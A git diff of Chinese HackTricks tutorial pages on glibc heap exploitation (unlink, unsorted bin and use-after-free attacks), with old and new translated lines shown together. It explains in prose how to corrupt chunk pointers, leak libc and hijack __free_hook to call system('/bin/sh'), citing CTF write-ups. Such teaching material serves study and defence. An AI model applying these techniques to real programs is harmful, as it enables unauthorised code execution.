* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
当这种攻击被发现时,它主要允许进行 WWW(Write What Where)攻击,但是一些**检查被添加**,使得攻击的新版本更加有趣和更加复杂,**无用**。
|
||||
当这种攻击被发现时,它主要允许进行 WWW (Write What Where) 攻击,但是一些**检查被添加**,使得攻击的新版本更加有趣和更加复杂,**无用**。
|
||||
|
||||
### 代码示例:
|
||||
|
||||
|
@ -89,49 +90,64 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
* 如果使用了 tcaches(在2.26版本之后),攻击将不起作用
|
||||
* 攻击在使用 tcaches 后不起作用(在 2.26 之后)
|
||||
|
||||
### 目标
|
||||
|
||||
这种攻击允许**将一个指向块的指针更改为指向其前面3个地址**。如果这个新位置(指针原本所在位置的周围)有有趣的内容,比如其他可控制的分配/栈等,就有可能读取/覆盖它们以造成更大的危害。
|
||||
这种攻击允许**将一个指向块的指针更改为指向其前面 3 个地址**。如果这个新位置(指针原本所在位置的周围)有有趣的内容,比如其他可控制的分配/栈等,就有可能读取/覆盖它们以造成更大的危害。
|
||||
|
||||
* 如果这个指针位于栈中,因为它现在指向自身之前的3个地址,用户有可能读取和修改它,这将可能泄霏栈中的敏感信息,甚至修改返回地址(也许)而不触及 canary
|
||||
* 在 CTF 示例中,这个指针位于指向其他分配的指针数组中,因此,使其指向前3个地址并能够读取和写入,就有可能使其他指针指向其他地址。\
|
||||
由于用户可能也可以读取/写入其他分配,他可以泄漏信息或在任意位置上覆盖新地址(比如在 GOT 中)。
|
||||
* 如果这个指针位于栈中,因为它现在指向自身之前的 3 个地址,用户有可能读取和修改它,这将可能泄露栈中的敏感信息,甚至修改返回地址(也许)而不触及 canary
|
||||
* 在 CTF 示例中,这个指针位于指向其他分配的指针数组中,因此,使其指向前 3 个地址并能够读取和写入,就有可能使其他指针指向其他地址。\
|
||||
由于用户可能也可以读取/写入其他分配,他可以泄露信息或在任意位置上覆盖新地址(比如在 GOT 中)。
|
||||
|
||||
### 要求
|
||||
|
||||
* 控制内存中的某些内容(例如栈),以创建一对给定一些属性值的块。
|
||||
* 栈泄漏以设置伪造块的指针。
|
||||
* 对内存(例如栈)有一定控制权,以创建一对给定一些属性值的块。
|
||||
* 需要栈泄漏以设置假块的指针。
|
||||
|
||||
### 攻击
|
||||
|
||||
* 有一对块(chunk1 和 chunk2)
|
||||
* 攻击者控制 chunk1 的内容和 chunk2 的头部。
|
||||
* 在 chunk1 中,攻击者创建了一个伪造块的结构:
|
||||
* 在 chunk1 中,攻击者创建了一个假块的结构:
|
||||
* 为了绕过保护,确保字段 `size` 正确,以避免错误:`corrupted size vs. prev_size while consolidating`
|
||||
* 伪造块的字段 `fd` 和 `bk` 分别指向 chunk1 指针存储位置的前3个和前2个偏移,因此 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向内存(栈)中真实 chunk1 地址所在的位置:
|
||||
* 假块的字段 `fd` 和 `bk` 分别指向 chunk1 指针存储的位置,偏移量分别为 -3 和 -2,因此 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向内存(栈)中真实 chunk1 地址所在的位置:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
* 修改 chunk2 的头部,指示前一个块未使用且大小为包含的伪造块的大小。
|
||||
* 当第二个块被释放时,发生了解除链接的伪造块:
|
||||
* 修改 chunk2 的头部,指示前一个块未使用,并且大小是包含的假块的大小。
|
||||
* 当第二个块被释放时,发生了这个假块的取消链接:
|
||||
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
* 之前确保 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向同一位置(存储 chunk1 的栈中的位置,因此是有效的链接列表)。由于**两者都指向同一位置**,只有最后一个(`fake_chunk->bk->fd = fake_chunk->fd`)会生效。
|
||||
* 这将**覆盖栈中指向 chunk1 的指针到栈中存储的地址(或字节)的前3个地址**。
|
||||
* 之前已经确保 `fake_chunk->fd->bk` 和 `fake_chunk->bk->fd` 指向同一个位置(存储 chunk1 的栈中的位置,因此是一个有效的链接列表)。由于**两者都指向同一个位置**,只有最后一个(`fake_chunk->bk->fd = fake_chunk->fd`)会**生效**。
|
||||
* 这将**覆盖栈中指向 chunk1 的指针到栈中存储的地址(或字节)的前 3 个地址**。
|
||||
* 因此,如果攻击者能够再次控制 chunk1 的内容,他将能够**在栈内写入**,从而有可能覆盖返回地址,跳过 canary 并修改本地变量的值和指针。甚至再次修改存储在栈中的 chunk1 地址的地址到不同位置,如果攻击者能够再次控制 chunk1 的内容,他将能够在任何地方写入。
|
||||
* 请注意,这是可能的,因为**地址存储在栈中**。风险和利用可能取决于**伪造块地址存储在何处**。
|
||||
* 请注意,这是可能的,因为**地址存储在栈中**。风险和利用可能取决于**假块的地址存储在何处**。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||
* 尽管在 CTF 中发现 unlink 攻击可能有些奇怪,但以下是一些使用此攻击的 writeup 示例:
|
||||
* 尽管在 CTF 中找到 unlink 攻击可能有些奇怪,但这里有一些使用此攻击的 writeup:
|
||||
* CTF 示例:[https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
|
||||
* 在这个示例中,不是栈而是一组 malloc 分配的地址数组。执行 unlink 攻击以能够在此处分配一个块,从而能够控制 malloc 分配的地址数组的指针。然后,还有另一个功能允许修改这些地址中块的内容,这允许将地址指向 GOT,修改函数地址以获取泄漏和 RCE。
|
||||
* 在这个示例中,不是栈而是一个 malloc 分配地址的数组。执行 unlink 攻击以能够在这里分配一个块,从而能够控制 malloc 分配地址数组的指针。然后,还有另一个功能允许修改这些地址中块的内容,这允许将地址指向 GOT,修改函数地址以获取泄漏和 RCE。
|
||||
* 另一个 CTF 示例:[https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
|
||||
* 就像在前一个示例中一样,这里有一组分配地址。可以执行 unlink 攻击,使第一个分配的地址指向数组开始前几个位置,然后在新位置上覆盖此分配。因此,可以覆盖其他分配的指针以指向 atoi 的 GOT,打印它以获取 libc 泄漏,然后用地址指向一个 one gadget 来覆盖 atoi 的 GOT。
|
||||
* 具有类似于 unlink 攻击的漏洞的自定义 malloc 和 free 函数的 CTF 示例:[https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
|
||||
* 存在一个溢出,允许控制将被(自定义)释放的自定义 malloc 的 FD 和 BK 指针。此外,堆具有 exec 位,因此可以泄漏堆地址并将 GOT 中的函数指向带有 shellcode 的堆块以执行。
|
||||
* 就像前一个示例一样,这里有一个分配地址的数组。可以执行 unlink 攻击,使第一个分配的地址指向数组开始前几个位置,然后在新位置上覆盖此分配。因此,可以覆盖其他分配的指针以指向 atoi 的 GOT,打印它以获取 libc 泄漏,然后用地址指向一个 one gadget 来覆盖 atoi 的 GOT。
|
||||
* CTF 示例,使用自定义 malloc 和 free 函数滥用类似 unlink 攻击的漏洞:[https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
|
||||
* 存在一个溢出,允许控制将被(自定义)释放的自定义 malloc 的 FD 和 BK 指针。此外,堆具有 exec 位,因此可以泄漏堆地址,并将 GOT 中的函数指向堆块,以执行 shellcode。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧**。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,34 @@
|
|||
# 未排序 Bin 攻击
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注**我们。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR** 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
有关未排序 bin 是什么的更多信息,请查看此页面:
|
||||
有关未排序 bin 的详细信息,请查看此页面:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
未排序列表能够将地址写入到块的 `unsorted_chunks (av)` 中的 `bk` 地址。因此,如果攻击者能够**修改未排序 bin 中块内的 `bk` 指针的地址**,他就能够**将该地址写入到任意地址**,这有助于泄漏 Glibc 地址或绕过某些防御。
|
||||
未排序列表能够将地址写入到块的 `bk` 地址中的 `unsorted_chunks (av)`。因此,如果攻击者能够**修改未排序 bin 中块内的 `bk` 指针的地址**,那么他就能够**将该地址写入到任意地址**,这有助于泄漏 Glibc 地址或绕过某些防御措施。
|
||||
|
||||
因此,基本上,这种攻击允许**在任意地址设置一个大数**。这个大数是一个地址,可以是堆地址或 Glibc 地址。一个典型的目标是**`global_max_fast`**,以允许创建更大尺寸的快速 bin 块(从未排序 bin 攻击转变为快速 bin 攻击)。
|
||||
|
||||
{% hint style="success" %}
|
||||
查看 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) 中提供的示例,并使用 0x4000 和 0x5000 而不是 0x400 和 0x500 作为块大小(避免 Tcache),可以看到**现在**触发错误**`malloc(): unsorted double linked list corrupted`**。
|
||||
查看提供的示例 [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle),并使用 0x4000 和 0x5000 而不是 0x400 和 0x500 作为块大小(以避免 Tcache),可以看到**现在**触发了错误**`malloc(): unsorted double linked list corrupted`**。
|
||||
|
||||
因此,这种未排序 bin 攻击现在(除其他检查外)还需要能够修复双重链接列表,以便绕过 `victim->bk->fd == victim` 或不是 `victim->fd == av (arena)`,这意味着我们要写入的地址必须在其 `fd` 位置具有伪造块的地址,并且伪造块的 `fd` 指向 arena。
|
||||
{% endhint %}
|
||||
|
@ -35,35 +36,36 @@
|
|||
{% hint style="danger" %}
|
||||
请注意,此攻击会破坏未排序 bin(因此也会破坏小块和大块)。因此,我们现在只能**使用快速 bin 中的分配**(更复杂的程序可能会进行其他分配并崩溃),要触发此攻击,我们必须**分配相同大小的块,否则程序将崩溃**。
|
||||
|
||||
请注意,覆盖**`global_max_fast`**可能有助于在这种情况下信任快速 bin 将能够处理直到完成利用的所有其他分配。
|
||||
请注意,覆盖 **`global_max_fast`** 可能有助于在这种情况下,相信快速 bin 将能够处理直到完成利用的所有其他分配。
|
||||
|
||||
{% endhint %}
|
||||
|
||||
来自 [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) 的代码解释得非常清楚,尽管如果您修改 malloc 分配的内存大小足够大,以避免 Tcache,您会发现先前提到的错误出现,阻止了这种技术:**`malloc(): unsorted double linked list corrupted`**
|
||||
来自 [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) 的代码很好地解释了这一点,尽管如果您修改 malloc 分配的内存大小足够大,以避免 Tcache,您会发现先前提到的错误出现,阻止了这种技术:**`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
## 未排序 Bin 信息泄漏攻击
|
||||
|
||||
这实际上是一个非常基本的概念。未排序 bin 中的块将具有指针。未排序 bin 中的第一个块实际上将使**`fd`** 和 **`bk`** 链接**指向主要 arena 的一部分(Glibc)**。\
|
||||
因此,如果您能够**将一个块放入未排序 bin 中并读取它**(使用后释放)或**再次分配它而不覆盖至少 1 个指针**,然后**读取**它,您就可以获得**Glibc 信息泄漏**。
|
||||
这实际上是一个非常基本的概念。未排序 bin 中的块将具有指针。未排序 bin 中的第一个块实际上将使 **`fd`** 和 **`bk`** 链接**指向主 arena 的一部分(Glibc)**。\
|
||||
因此,如果您能够**将一个块放入未排序 bin 中并读取它**(使用后释放),或者**再次分配它而不覆盖至少 1 个指针**,然后**读取**它,您就可以获得**Glibc 信息泄漏**。
|
||||
|
||||
在这个[**写作中使用的攻击**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)中,滥用了一个 4 个块结构(A、B、C 和 D - D 仅用于防止与顶部块合并),因此在 B 中使用了一个空字节溢出,使 C 指示 B 未使用。此外,在 B 中修改了 `prev_size` 数据,使得大小不再是 B 的大小,而是 A+B。\
|
||||
然后释放了 C,并与 A+B 合并(但 B 仍在使用)。分配了一个大小为 A 的新块,然后将泄漏的 libc 地址写入 B,从中泄漏了这些地址。
|
||||
然后释放了 C,并与 A+B 合并(但 B 仍在使用)。分配了一个大小为 A 的新块,然后将泄漏的 libc 地址写入 B,从中泄漏出去。
|
||||
|
||||
## 参考资料和其他示例
|
||||
|
||||
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap)
|
||||
* 目标是用大于 4869 的值覆盖全局变量,以便获取标志并且未启用 PIE。
|
||||
* 可以生成任意大小的块,并且存在所需大小的堆溢出。
|
||||
* 攻击开始创建 3 个块:chunk0 用于利用溢出,chunk1 用于溢出,chunk2 用于防止顶部块合并前两个。
|
||||
* 攻击开始创建 3 个块:chunk0 用于滥用溢出,chunk1 用于溢出,chunk2 用于防止顶部块合并前两个。
|
||||
* 然后,释放了 chunk1,并且 chunk0 被溢出,使得 chunk1 的 `bk` 指针指向:`bk = magic - 0x10`
|
||||
* 然后,分配了一个与 chunk1 大小相同的 chunk3,这将触发未排序 bin 攻击,并修改全局变量的值,从而可能获取标志。
|
||||
* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html)
|
||||
* 合并函数存在漏洞,因为如果传递的两个索引相同,它将在其上重新分配,然后释放它,但返回一个可以使用的已释放区域的指针。
|
||||
* 合并函数存在漏洞,因为如果传递的两个索引相同,它将对其进行重新分配,然后释放它,但返回一个可以使用的已释放区域的指针。
|
||||
* 因此,**创建了 2 个块**:**chunk0** 将与自身合并,chunk1 用于防止与顶部块合并。然后,**两次调用合并函数与 chunk0**,这将导致使用后释放。
|
||||
* 然后,使用索引 2(使用后释放块的索引)调用**`view`**函数,这将**泄漏一个 libc 地址**。
|
||||
* 由于二进制文件只允许 malloc 大于**`global_max_fast`** 的大小,因此不会使用 fastbin,将使用未排序 bin 攻击来覆盖全局变量 `global_max_fast`。
|
||||
* 然后,调用 **`view`** 函数,索引为 2(使用后释放块的索引),这将**泄漏一个 libc 地址**。
|
||||
* 由于二进制文件只允许 malloc 大于 **`global_max_fast`** 的大小,因此不会使用 fastbin,将使用未排序 bin 攻击来覆盖全局变量 `global_max_fast`。
|
||||
* 然后,可以使用索引 2(使用后释放指针)调用编辑函数,并将 `bk` 指针覆盖为指向 `p64(global_max_fast-0x10)`。然后,创建一个新块将使用先前受损的释放地址(0x20)将**触发未排序 bin 攻击**,覆盖 `global_max_fast` 为一个非常大的值,现在可以在快速 bin 中创建块。
|
||||
* 现在执行**快速 bin 攻击**:
|
||||
* 首先发现可以在**`__free_hook`** 位置使用大小为 200 的快速**块**:
|
||||
* 首先发现可以在 **`__free_hook`** 位置使用大小为 200 的快速 **块**:
|
||||
* <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
|
@ -74,14 +76,14 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
|||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
* 如果我们成功在这个位置获得一个大小为0x200的快速块,就可以覆盖一个将被执行的函数指针
|
||||
* 为此,创建一个大小为`0xfc`的新块,并使用该指针两次调用合并函数,这样我们就可以在快速块中获得一个大小为`0xfc*2 = 0x1f8`的已释放块的指针。
|
||||
* 然后,在这个块中调用编辑函数,修改这个快速块的**`fd`**地址,使其指向前一个**`__free_hook`**函数。
|
||||
* 然后,创建一个大小为`0x1f8`的块,从快速块中检索前一个无用块,然后创建一个大小为`0x1f8`的块,以在**`__free_hook`**中获取一个快速块块,该块被覆盖为**`system`**函数的地址。
|
||||
* 为此,创建一个大小为`0xfc`的新块,并使用该指针两次调用合并函数,这样我们就可以获得一个指向大小为`0xfc*2 = 0x1f8`的已释放块的指针。
|
||||
* 然后,在这个块中调用编辑函数,修改这个快速块的**`fd`**地址,使其指向之前的**`__free_hook`**函数。
|
||||
* 然后,创建一个大小为`0x1f8`的块,从快速块中检索之前无用的块,然后创建一个大小为`0x1f8`的块,以在**`__free_hook`**中获取一个快速块块,该块被覆盖为**`system`**函数的地址。
|
||||
* 最后,释放一个包含字符串`/bin/sh\x00`的块,调用删除函数,触发指向带有`/bin/sh\x00`参数的`system`的**`__free_hook`**函数。
|
||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
||||
* 另一个滥用1字节溢出以合并未排序块并获取libc信息泄漏,然后执行快速块攻击以用单个地址覆盖malloc挂钩的示例
|
||||
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
* 我们只能分配大小大于`0x100`的块。
|
||||
* 我们只能分配大于`0x100`的块大小。
|
||||
* 使用未排序块攻击覆盖`global_max_fast`(由于ASLR,每16次有效,因为我们需要修改12位,但必须修改16位)。
|
||||
* 快速块攻击以修改全局块数组。这提供了一个任意读/写原语,允许修改GOT并将某些函数指向`system`。
|
||||
```
|
||||
|
|
|
@ -1,44 +1,46 @@
|
|||
# Use After Free
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
正如名称所示,当程序为堆中的一个对象**分配一些空间**,在那里**写入**一些信息,然后**释放**它,因为不再需要,然后**再次访问**它时,就会发生这种漏洞。
|
||||
正如名称所示,当程序为一个对象在堆中**分配一些空间**,在那里**写入**一些信息,然后**释放**它,因为不再需要,然后**再次访问**它时,就会发生这种漏洞。
|
||||
|
||||
问题在于当**访问已释放的内存**时,这是不违法的(不会有错误)。因此,如果程序(或攻击者)设法**分配已释放的内存并存储任意数据**,当从初始指针访问已释放的内存时,**数据将被覆盖**,从而导致**取决于原始存储的数据的敏感性的漏洞**(如果原始存储的是将要被调用的函数的指针,攻击者可能可以控制它)。
|
||||
问题在于当**访问已释放的内存**时,这是不违法的(不会有错误)。因此,如果程序(或攻击者)设法**分配已释放的内存并存储任意数据**,当从初始指针访问已释放的内存时,**数据将被覆盖**,从而导致一个**取决于原始存储数据的敏感性的漏洞**(如果原始数据是将要被调用的函数的指针,攻击者可能可以控制它)。
|
||||
|
||||
### First Fit 攻击
|
||||
|
||||
First Fit 攻击针对某些内存分配器(如glibc)管理已释放内存的方式。当释放一块内存时,它会被添加到列表中,并且新的内存请求会从列表的末尾获取。攻击者可以利用这种行为来操纵**哪些内存块被重用,可能获得对它们的控制**。这可能导致“使用后释放”问题,攻击者可以**更改被重新分配的内存的内容**,从而造成安全风险。\
|
||||
First Fit 攻击针对某些内存分配器(如 glibc)管理已释放内存的方式。当释放一块内存时,它会被添加到列表中,并且新的内存请求会从列表的末尾获取。攻击者可以利用这种行为来操纵**哪些内存块被重用,可能获得对它们的控制**。这可能导致“use-after-free”问题,攻击者可以**更改被重新分配的内存的内容**,从而造成安全风险。\
|
||||
查看更多信息:
|
||||
|
||||
{% content-ref url="first-fit.md" %}
|
||||
[first-fit.md](first-fit.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,33 @@
|
|||
# First Fit
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
